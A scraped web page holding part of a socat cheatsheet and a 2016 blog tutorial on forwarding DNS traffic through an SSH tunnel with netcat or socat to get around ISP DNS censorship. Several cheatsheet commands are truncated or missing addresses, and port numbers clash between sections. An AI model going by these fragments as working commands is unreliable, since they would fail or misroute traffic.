In short, strip incoming SSL to plain traffic.

socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=cert.pem,cafile=client.crt TCP4-CONNECT:HOST-L:80

– Make a tunnel

socat TCP4-LISTEN:13510,reuseaddr,fork

– Make a tunnel via proxy

socat TCP4-LISTEN:13510,reuseaddr,fork,proxyport=3128,proxyauth=user:pass

address can be a file. Thus directive FILE: is used to read content of file.txt and then pipe it.

socat -u STDIN OPEN:file.txt,creat,trunc

– Transfer file

and as you might expect, pipe a file to remote host.

HOST-L# socat FILE:file.txt TCP:HOST-R:13510
HOST-R# socat TCP-LISTEN:13510 OPEN:file.txt,creat,trunc

– UDP tunneling through SSH connection

see this article.

LOCAL# ssh -L 13510:LOCAL:13510 SERVER
SERVER# socat tcp4-listen:13510,reuseaddr,fork UDP:NAMESERVER:53 
LOCAL# socat -T15 udp4-recvfrom:53,reuseaddr,fork tcp:LOCAL:13510

– Local serial line

Use as a local serial line. For example, to configure a network device, modem, or embedded device without a terminal emulator.

socat \
READLINE,history:/tmp/serial.cmds \

READLINE data channel use GNU readline to allow editing and reusing input lines like a classic shell.

– Grab some HTTP content without a browser

# cat <<EOF | socat -
GET / HTTP/1.1


GET to EOF is something we need to type in.


UDP Tunneling Through SSH Connection

December 26, 2016 | Article | 1 Comment

Imagine you are in a situation where you are using ISP which do censorship based on DNS. We might use free DNS service but quite often ISP will hijack the traffic and redirect them to their DNS. Another approach is using tool which transfer DNS traffic on top of encrypted channel, for example dnscrypt. However in this article we won’t use this approach. I will give insight about another approach, doing it by ourselves.

We will have three entities involved:


SERVER is an endpoint of SSH tunnel. NAMESERVER is DNS server, which we will contact. It can be a internal DNS server on SERVER’s network, or it can be SERVER itself. LOCAL is our local machine.

The idea is simple:

  • creating a SSH tunnel between LOCAL and SERVER
  • setup TCP to UDP forward on SERVER
  • setup UDP to TCP forward on LOCAL

Create SSH Tunnel

On LOCAL, connect to SERVER by SSH. We need additional -L option so that SSH will do TCP port forwarding.

LOCAL# ssh -L 13510:LOCAL:13511 SERVER

This will allow TCP connection to port 13510 of local machine to be forwarded to the port number 13511 on SERVER. Of course, replace LOCAL and SERVER as we need.

Setup TCP to UDP Forward on SERVER

On the server we open listener on port 13511 which will forward data to UDP port 53 of specified IP, or NAMESERVER to be precise. There are two approach, whether you want to use netcat or socat.


We need to create a fifo. The fifo is necessary to have two-way communication between two channels. A pipe won’t do because it only transfer data from STDOUT of left process to STDIN of right process.

SERVER# mkfifo /tmp/tunsshfifo
SERVER# nc -lp 13511 < /tmp/tunsshfifo | nc -u NAMESERVER 53 > /tmp/tunsshfifo

This will have bidirectional communication, from SERVER:13511 to NAMESERVER:53 and vice-versa


Socat is bidirectional by nature, so we don’t need to create a fifo.

SERVER# socat TCP4-LISTEN:13511,reuseaddr,fork UDP:NAMESERVER:53

see socat cheatsheet for more info on socat capability.

Setup UDP to TCP Forward on LOCAL

On LOCAL we need a privilege access to bind on port 53. Other than that, it’s only bit opposite of what we have done on SERVER.


LOCAL# mkfifo /tmp/tunsshfifo
LOCAL# sudo nc -lup 53 < /tmp/tunsshfifo | nc localhost 13510 > /tmp/tunsshfifo

This will have bidirectional communication, from LOCAL:53 to LOCAL:13510 and vice-versa


Again, socat is bidirectional by nature.

LOCAL# socat -T15 UDP4-RECVFROM:53,reuseaddr,fork TCP:localhost:13510

see socat cheatsheet for more info on socat capability.


As mentioned, our traffic now flow like this LOCAL:53 – LOCAL:13510 – SSH TUNNEL – SERVER:13511 – NAMESERVER:53 for request. To test DNS service on local machine, use host



Social media & sharing icons powered by UltimatelySocial